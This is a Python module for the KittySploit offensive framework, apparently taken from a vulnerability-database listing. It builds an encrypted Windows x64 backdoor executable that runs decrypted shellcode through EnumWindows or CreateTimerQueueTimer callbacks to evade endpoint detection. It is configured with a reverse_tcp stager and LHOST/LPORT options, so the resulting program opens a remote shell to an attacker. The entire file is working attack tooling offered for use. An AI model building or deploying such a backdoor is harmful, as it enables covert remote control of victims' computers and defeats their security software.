Callback Execution Evasion
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.compile.backdoor_helpers import build_encrypted_zig_backdoor, option_value
from lib.compile.callback_execution import CallbackExecutionBuilder
class Module(Backdoor):
__info__ = {
"name": "Callback Execution Evasion",
"description": (
"Run decrypted shellcode through a Windows callback API (EnumWindows or "
"CreateTimerQueueTimer) instead of CreateThread."
),
"author": "KittySploit",
"platform": Platform.WINDOWS,
"arch": Arch.X64,
"references": [
"https://github.com/JoasASantos/Awesome-EDR-Evasion/blob/main/Codes/12_callback_execution.c",
],
}
payload_path = OptString("payloads/stagers/windows/x86/reverse_tcp", "Payload path", True)
lhost = OptString("127.0.0.1", "LHOST", True)
lport = OptPort(4444, "LPORT", True)
encoder = OptString("", "Encoder (optional)", False)
cipher = OptChoice("chacha", "Cipher", True, ["chacha", "rc4"])
exec_method = OptChoice(
"enum_windows",
"Callback API used to run shellcode",
False,
["enum_windows", "timer_queue"],
)
sleep = OptInteger(5000, "Sleep ms before callback", False)
output_name = OptString("callback_exec.exe", "Output filename", False)
optimization = OptChoice("ReleaseSmall", "Optimization", False, ["Debug", "ReleaseFast", "ReleaseSafe", "ReleaseSmall"])
save_source = OptBool(False, "Save C source", False, advanced=True)
windows_subsystem = OptChoice("windows", "Subsystem", False, ["windows", "console"])
def run(self):
builder = CallbackExecutionBuilder(
cipher=str(option_value(self, "cipher") or "chacha").lower(),
sleep_ms=int(option_value(self, "sleep") or 0),
method=str(option_value(self, "exec_method") or "enum_windows"),
)
return build_encrypted_zig_backdoor(
self,
builder,
output_name="callback_exec.exe",
save_source_name="callback_exec.zig",
)
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26 Oct 2026 17:01Current
5.9Medium risk
Vulners AI Score5.9